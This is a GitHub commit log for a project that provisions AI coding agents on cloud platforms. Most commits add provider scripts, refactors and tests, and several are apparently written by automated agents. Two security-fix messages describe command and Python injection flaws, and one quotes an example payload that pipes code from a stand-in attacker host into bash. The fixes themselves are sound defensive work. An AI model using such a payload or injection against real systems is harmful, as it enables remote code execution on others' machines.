Commit graph

394 commits

Author SHA1 Message Date
A
eeecdedef2
fix: Bundle dependencies in CLI build for proot-distro compatibility (#216)
The bun build command was failing on proot-distro ubuntu because it couldn't
resolve node_modules dependencies. Added --packages bundle flag to explicitly
bundle all dependencies into the output file.

Fixes #209

Agent: issue-responder

Co-authored-by: B <6723574+louisgv@users.noreply.github.com>
2026-02-10 12:22:58 -08:00
A
9f7c14c19c
feat: Add NanoClaw support for Northflank (#212)
Agent: gap-filler-1

Co-authored-by: B <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
2026-02-10 12:22:50 -08:00
A
44d6e6304d
feat: Add Gemini CLI support for Northflank (#214)
Agent: gap-filler-5

Co-authored-by: B <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
2026-02-10 12:22:44 -08:00
A
43292e9619
feat: Add Codex CLI support for Northflank (#211)
Agent: gap-filler-3

Co-authored-by: B <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
2026-02-10 12:22:39 -08:00
B
8ebb70b1b3 docs: Sync README matrix with manifest.json
Agent: team-lead
Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>
2026-02-10 20:20:06 +00:00
Sprite
cf46b42e3f fix: Remove double-quoting in json_escape printf callers
json_escape() returns a fully-quoted JSON string (e.g. "value") via
Python's json.dumps(). Callers using printf templates were wrapping
the result in additional quotes ("%s"), producing invalid JSON like
""value"". Remove the redundant quotes from all printf format strings
so json_escape's quotes are used directly.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-02-10 20:04:30 +00:00
A
822413bcbf
feat: Add Northflank cloud provider (#210)
Add Northflank container platform with CLI exec access:
- northflank/lib/common.sh: Provider primitives (auth, create, exec, upload)
- northflank/claude.sh: Claude Code deployment
- northflank/aider.sh: Aider deployment
- northflank/openclaw.sh: OpenClaw deployment
- manifest.json: Add Northflank cloud + 14 matrix entries (3 implemented, 11 missing)
- northflank/README.md: Usage instructions and pricing info

Free tier: 2 services. Pay-per-second pricing after free tier.

Agent: cloud-scout

Co-authored-by: B <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
2026-02-10 10:43:01 -08:00
B
75416a8fd9 docs: Sync README matrix with manifest.json
Agent: team-lead
Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>
2026-02-10 18:30:37 +00:00
B
874b9c95f4 feat: Stream script output back to GH Actions instead of keep-alive
Replace the broken keep-alive ping loop with a fundamentally better
approach: the trigger server now streams the script's stdout/stderr
back as the HTTP response body in chunks. The GH Action holds the
curl connection open for the entire cycle duration (~90 min timeout).

This works because Sprite keeps VMs alive while "actively servicing
HTTP requests." A single long-lived streaming response satisfies
this naturally — no synthetic pings needed.

Key changes:

trigger-server.ts:
- /trigger now returns a streaming text/plain Response
- stdout/stderr piped through ReadableStream with chunked output
- 30s heartbeat lines injected during silent periods
- Client disconnect handled gracefully (process keeps running)
- X-Accel-Buffering: no header to prevent proxy buffering

discovery.yml / refactor.yml:
- curl -sSN --fail-with-body streams output in real-time
- timeout-minutes: 90 to hold the connection for full cycles
- Error responses (429/409/401) still print body and exit cleanly

discovery.sh / refactor.sh:
- Removed all keep-alive logic (start_keepalive/stop_keepalive)

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-02-10 18:09:26 +00:00
B
4d15470f8f fix: Use Sprite public URL for keep-alive instead of localhost
Localhost pings (curl http://localhost:8080/health) bypass the Sprite
proxy entirely and don't register as "actively servicing HTTP requests."
Per Sprite lifecycle rules, VMs pause when there's no inbound HTTP
through the proxy and no detachable session output — so the old
keep-alive was doing nothing.

Now both discovery.sh and refactor.sh resolve the Sprite's public URL
via `sprite-env info` and ping that instead. The request routes through
the Sprite proxy, which counts as real activity and prevents pause.

Also adds keep-alive to discovery.sh (previously had none at all).

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-02-10 17:58:38 +00:00
B
b20a172ba4 fix: Add pre-cycle and between-cycle PR cleanup to discovery service
The discovery loop was missing stale PR resolution — unlike refactor.sh,
it relied entirely on the Branch Cleaner teammate to handle open PRs
during the cycle. If the cycle timed out or the teammate failed, PRs
would leak across cycles indefinitely.

Now the team lead checks for open provider PRs at three points:
1. Pre-cycle: merge or close stale PRs (>2h old) before launching agents
2. Shutdown: explicit sweep for provider-related PRs before exiting
3. Between cycles: catch anything missed by the shutdown sequence

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-02-10 17:19:17 +00:00
A
b32ed45f82
feat: Add Koyeb kilocode script (#208)
Agent: gap-filler-koyeb-1

Co-authored-by: B <6723574+louisgv@users.noreply.github.com>
2026-02-10 09:01:02 -08:00
A
bde4719492
feat: Add Koyeb plandex script (#207)
Agent: gap-filler-koyeb-1

Co-authored-by: B <6723574+louisgv@users.noreply.github.com>
2026-02-10 09:00:15 -08:00
A
27c1765745
feat: Add Koyeb opencode script (#206)
Agent: gap-filler-koyeb-1

Co-authored-by: B <6723574+louisgv@users.noreply.github.com>
2026-02-10 08:59:32 -08:00
A
b02658505b
feat: Add Koyeb gptme script (#204)
Agent: gap-filler-koyeb-1

Co-authored-by: B <6723574+louisgv@users.noreply.github.com>
2026-02-10 08:58:48 -08:00
A
6a7187022d
feat: Add Koyeb cline script (#203)
Agent: gap-filler-koyeb-1

Co-authored-by: B <6723574+louisgv@users.noreply.github.com>
2026-02-10 08:58:13 -08:00
A
f49ca34e67
feat: Add Koyeb amazonq script (#202)
Agent: gap-filler-koyeb-1

Co-authored-by: B <6723574+louisgv@users.noreply.github.com>
2026-02-10 08:57:38 -08:00
A
bd978f7853
feat: Add Koyeb gemini script (#201)
Agent: gap-filler-koyeb-1

Co-authored-by: B <6723574+louisgv@users.noreply.github.com>
2026-02-10 08:57:00 -08:00
A
898275ebdd
feat: Add Hyperstack Kilo Code support (#200)
Implement hyperstack/kilocode.sh script that provisions a Hyperstack VM
and installs Kilo Code with OpenRouter integration.

Agent: gap-filler-hyperstack-4

Co-authored-by: B <6723574+louisgv@users.noreply.github.com>
2026-02-10 08:56:52 -08:00
A
aa162f766d
feat: Add Koyeb interpreter script (#199)
Agent: gap-filler-koyeb-1

Co-authored-by: B <6723574+louisgv@users.noreply.github.com>
2026-02-10 08:56:23 -08:00
A
20dc0479f0
feat: Add Hyperstack Plandex support (#198)
Implement hyperstack/plandex.sh script that provisions a Hyperstack VM
and installs Plandex with OpenRouter integration.

Agent: gap-filler-hyperstack-4

Co-authored-by: B <6723574+louisgv@users.noreply.github.com>
2026-02-10 08:56:00 -08:00
A
ba4e768fff
feat: Add Koyeb codex script (#197)
Agent: gap-filler-koyeb-1

Co-authored-by: B <6723574+louisgv@users.noreply.github.com>
2026-02-10 08:55:47 -08:00
A
54ef5e451a
fix: Prevent command injection via env var values in Koyeb and Hyperstack scripts (#196)
Koyeb's inject_env_vars used sed escaping that didn't handle single quotes,
allowing API key values containing ' to break out of the shell command string
passed to `koyeb instances exec`. Replace with file-based injection using
generate_env_config + upload_file, matching the safe pattern in shared/common.sh.

Hyperstack goose/gemini/interpreter/codex scripts embedded $OPENROUTER_API_KEY
directly in double-quoted command strings passed to run_server (SSH). Values
containing double quotes, backticks, or $() could execute arbitrary commands
on the remote VM. Replace with inject_env_vars_ssh which writes env vars to a
temp file, uploads via SCP, and appends to shell config without interpolation.

Also hardens Koyeb upload_file to reject remote paths containing shell
metacharacters (', $, `, newline).

Agent: security-auditor

Co-authored-by: A <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-02-10 08:55:16 -08:00
A
e73f0f86f2
feat: Add hyperstack/cline script (#193)
Implement Cline agent deployment on Hyperstack cloud platform.

- Uses hyperstack/lib/common.sh primitives for VM provisioning
- Installs Cline via npm
- Injects OpenRouter API key and OPENAI_BASE_URL
- Launches interactive Cline session

Agent: gap-filler-hyperstack-2

Co-authored-by: B <6723574+louisgv@users.noreply.github.com>
2026-02-10 08:55:06 -08:00
A
df70a13529
feat: Add Koyeb goose script (#195)
Agent: gap-filler-koyeb-1

Co-authored-by: B <6723574+louisgv@users.noreply.github.com>
2026-02-10 08:55:03 -08:00
A
e58a4b2898
test: Add manifest integrity tests (26 tests) (#194)
Validates that manifest.json is internally consistent and that every
"implemented" matrix entry has a corresponding script file. Catches
configuration drift between manifest.json and the actual file tree.

Tests cover:
- Manifest structure (agents, clouds, matrix top-level keys)
- Agent/cloud definition required fields and naming conventions
- Matrix consistency (valid statuses, complete coverage, no duplicates)
- Script file existence for all implemented entries
- Cloud lib/common.sh existence for clouds with implementations
- Script content basics (shebang, set -eo pipefail, sourcing lib)
- Orphaned script detection (files exist but marked "missing")

Agent: test-engineer

Co-authored-by: A <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Haiku 4.5 <noreply@anthropic.com>
2026-02-10 08:54:52 -08:00
A
bf0e89b0b7
feat: Add Hyperstack OpenCode support (#191)
Implement hyperstack/opencode.sh script that provisions a Hyperstack VM
and installs OpenCode with OpenRouter integration.

Agent: gap-filler-hyperstack-4

Co-authored-by: B <6723574+louisgv@users.noreply.github.com>
2026-02-10 08:54:48 -08:00
A
d1ecbaf88c
feat: Add cloud info command (spawn <cloud>) for cloud-first discovery (#192)
Users who know their preferred cloud but not which agents are available
had no way to find out. Now `spawn hetzner` shows all agents available
on Hetzner, mirroring how `spawn claude` shows all clouds for Claude.

- Add cmdCloudInfo() showing cloud details + available agents
- handleDefaultCommand detects cloud names and routes to cloud info
- Update help text and clouds list footer to document the new command
- Bump CLI version to 0.2.15

Agent: ux-engineer

Co-authored-by: A <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
2026-02-10 08:54:24 -08:00
A
17e78b9f04
feat: Add Koyeb nanoclaw script (#187)
Agent: gap-filler-koyeb-1

Co-authored-by: B <6723574+louisgv@users.noreply.github.com>
2026-02-10 08:54:20 -08:00
A
493c2975d0
feat: Add hyperstack/amazonq script (#190)
Implements Amazon Q CLI on Hyperstack cloud provider. Uses Hyperstack's
VM provisioning API with SSH connectivity. Script installs Amazon Q CLI
via curl|bash, injects OpenRouter credentials as environment variables,
and launches interactive Q chat session.

OpenRouter integration via OPENAI_BASE_URL override pointing to
openrouter.ai/api/v1.

Agent: gap-filler-hyperstack-1

Co-authored-by: B <6723574+louisgv@users.noreply.github.com>
2026-02-10 08:54:18 -08:00
A
b039f8868a
refactor: Decompose Koyeb and Vast.ai create_server functions (#189)
Break down the two largest unrefactored create_server functions:
- Koyeb (82 lines -> 10): Extract _koyeb_create_app, _koyeb_create_service,
  _koyeb_wait_for_service, _koyeb_get_instance_id
- Vast.ai (77 lines -> 15): Extract _validate_vastai_params,
  _find_cheapest_offer, _create_vastai_instance

Agent: complexity-hunter

Co-authored-by: A <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-02-10 08:54:14 -08:00
A
84353b8bba
feat: Add hyperstack/gptme script (#188)
Implement gptme agent on Hyperstack cloud platform.

- Install via pip/pip3
- Native OpenRouter support via OPENROUTER_API_KEY
- Launch with -m openrouter/${MODEL_ID} flag
- Uses Hyperstack VM provisioning and SSH primitives
- OAuth flow for API key (port 5181)

Agent: gap-filler-hyperstack-3

Co-authored-by: B <6723574+louisgv@users.noreply.github.com>
2026-02-10 08:54:11 -08:00
A
6f47c852c8 Increase refactor workflow frequency from 30min to 5min
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-02-10 16:24:12 +00:00
B
dd66e62666 docs: Sync README matrix with manifest.json and fix discovery team instructions
README was 4 clouds behind (missing oracle, vastai, hyperstack, koyeb).
Updated from 21→25 clouds, 294→333 combinations.

Changed discovery.sh team lead instructions: README matrix sync is now
the explicit FIRST step (before spawning teammates) and FINAL step
(after all PRs merged) — assigned to team lead, not vague "one teammate".

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-02-10 16:18:01 +00:00
B
1029320cff refactor: Rename improve to discovery and remove improve CLI command
Rename the GitHub workflow, scripts, and service from "improve" to
"discovery" to better reflect what the automation does. Remove the
`spawn improve` CLI command entirely — the discovery/refactor loops
are internal automation, not user-facing CLI features.

File renames:
- .github/workflows/improve.yml → discovery.yml
- .claude/skills/.../improve.sh → discovery.sh
- .claude/skills/.../start-improve.sh → start-discovery.sh
- Service: improve-trigger → discovery-trigger

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-02-10 16:13:56 +00:00
A
e4052189d2
feat: Add Koyeb serverless container platform support (#185)
Add Koyeb as a new cloud provider with CLI-based provisioning.

Changes:
- Created koyeb/lib/common.sh with provider primitives
- Implemented koyeb/claude.sh
- Implemented koyeb/aider.sh
- Implemented koyeb/openclaw.sh
- Added Koyeb entry to manifest.json clouds section
- Added matrix entries for all 14 agents
- Created koyeb/README.md with setup instructions

Koyeb features:
- Serverless container platform with per-second billing
- Free tier available (no credit card required)
- Fast deployment times
- Automatic scaling
- Global deployment regions

Agent: cloud-scout-2

Co-authored-by: B <6723574+louisgv@users.noreply.github.com>
2026-02-10 08:07:36 -08:00
A
7d2a2543da
feat: Add hyperstack/nanoclaw script (#184)
Agent: gap-filler-nanoclaw

Co-authored-by: B <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
2026-02-10 08:03:09 -08:00
A
de4e55ee4e
feat: Add hyperstack/interpreter script (#183)
Agent: gap-filler-interpreter

Co-authored-by: B <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
2026-02-10 08:03:01 -08:00
A
6069d7c858
feat: Add hyperstack/goose script (#182)
Agent: gap-filler-goose

Co-authored-by: B <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
2026-02-10 08:02:27 -08:00
A
95d39610cd
feat: Add hyperstack/gemini script (#181)
Agent: gap-filler-gemini

Co-authored-by: B <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
2026-02-10 08:02:23 -08:00
A
100353ed96
feat: Add hyperstack/codex script (#180)
Agent: gap-filler-codex

Co-authored-by: B <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
2026-02-10 08:01:54 -08:00
B
f7b477ab69 fix: Add lifecycle management to improve.sh from refactor.sh patterns
Prevents hangs by adding cleanup traps, structured timeouts with grace
periods, prompt file management, persistent logging, checkpoint creation,
and explicit lifecycle/shutdown instructions in the agent prompt.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-02-10 15:51:31 +00:00
A
e20052f969 fix: add keep-alive to refactor service to prevent Sprite VM pausing
Sprite pauses VMs when there's no HTTP activity. During long claude API
calls, the trigger server receives no requests, causing the VM to freeze
mid-cycle. This adds a background loop that pings localhost:8080/health
every 30s to maintain HTTP activity throughout the cycle.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-02-10 15:50:12 +00:00
A
d88a7d284a
refactor: Decompose Hyperstack create_vm and DigitalOcean create_server (#179)
Extract helpers from the two largest undecomposed provider functions:

- Hyperstack create_vm (104 -> 45 lines): extract _build_vm_request_body
  and _wait_for_vm_active
- DigitalOcean create_server (97 -> 54 lines): extract
  _build_droplet_request_body and _wait_for_droplet_active

Also fixes bash 3.x compat issue: ((attempt++)) -> attempt=$((attempt + 1))

Agent: complexity-hunter

Co-authored-by: A <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Haiku 4.5 <noreply@anthropic.com>
2026-02-10 07:43:19 -08:00
A
86dfbacab0
fix: Detect swapped agent/cloud arguments and fix count pluralization (#178)
When users type "spawn sprite claude" instead of "spawn claude sprite",
the CLI now detects the swap and suggests the correct order instead of
showing a confusing "Unknown agent" error. Also fixes grammar in
"spawn agents" and "spawn clouds" output (1 cloud vs 1 clouds).

Agent: ux-engineer

Co-authored-by: A <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
2026-02-10 07:42:25 -08:00
A
836fd0db97
test: Add 52 tests for resolvePrompt pipeline and handleDefaultCommand routing (#176)
Cover the full prompt resolution pipeline from index.ts including:
- Sequential --prompt/--prompt-file extraction
- Mutual exclusion error handling
- File read error paths
- handleDefaultCommand HELP_FLAGS routing
- Subcommand --help flag detection edge cases

Agent: test-engineer

Co-authored-by: A <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Haiku 4.5 <noreply@anthropic.com>
2026-02-10 07:39:14 -08:00
A
3fe9f298db
fix: Prevent Python injection in Hyperstack create_vm via stdin (#175)
The create_vm function interpolated $environment (HYPERSTACK_ENVIRONMENT
env var or user prompt) and $image (HYPERSTACK_IMAGE env var) directly
into Python code using single-quote string literals. An attacker who
controls these env vars could break out of the string and execute
arbitrary Python code (e.g., os.system('curl evil.com|bash')).

Fix: Pass all values via stdin to Python instead of shell interpolation.
This eliminates the injection vector entirely, matching the pattern used
to fix similar issues in other providers (Scaleway, UpCloud, etc.).

Agent: security-auditor

Co-authored-by: A <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
2026-02-10 07:39:10 -08:00
A
8c5933c8e5
feat: Add Hyperstack GPU cloud provider (#173)
Add Hyperstack (formerly NexGen Cloud) as a new cloud provider with:
- REST API integration via infrahub-api.nexgencloud.com/v1
- Competitive GPU pricing (RTX A6000 at $0.50/hr on-demand)
- Pay-per-minute billing for flexible workloads
- Global environments across multiple regions

Implemented agents:
- claude (Claude Code)
- aider (AI pair programming)
- openclaw (multi-channel AI assistant)

Added 14 matrix entries (3 implemented, 11 missing).

Agent: cloud-scout-2

Co-authored-by: B <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
2026-02-10 07:18:56 -08:00
A
77db796aff
refactor: Decompose create_server in Scaleway and Fly.io providers (#171)
Break down the two longest create_server functions (104 and 102 lines)
into focused sub-functions for readability and reusability:

Scaleway (104 -> 53 lines):
- Extract _scaleway_extract_ip() for IP parsing from server response
- Extract _scaleway_power_on_and_wait() for power-on + polling loop

Fly.io (102 -> 14 lines):
- Extract _fly_create_app() for app creation with "already exists" handling
- Extract _fly_create_and_start_machine() for machine lifecycle

Also fix ((attempt++)) to attempt=$((attempt + 1)) in Fly.io to avoid
potential set -e failures when attempt is 0.

Agent: complexity-hunter

Co-authored-by: A <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-02-10 07:18:00 -08:00
A
9eb3a41eba
refactor: Decompose oversized OCI functions into focused helpers (#169)
Break down _get_subnet_id() (101 lines) and create_server() (87 lines)
into smaller, single-responsibility functions:

- _create_vcn(): VCN creation (19 lines)
- _setup_vcn_networking(): Internet gateway, route table, security list (47 lines)
- _create_subnet(): Subnet creation with AD lookup (25 lines)
- _get_subnet_id(): Now just finds or orchestrates creation (22 lines)
- _get_instance_public_ip(): VNIC lookup and IP extraction (27 lines)
- create_server(): Now delegates IP retrieval (59 lines)

Agent: complexity-hunter

Co-authored-by: A <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Haiku 4.5 <noreply@anthropic.com>
2026-02-10 07:17:18 -08:00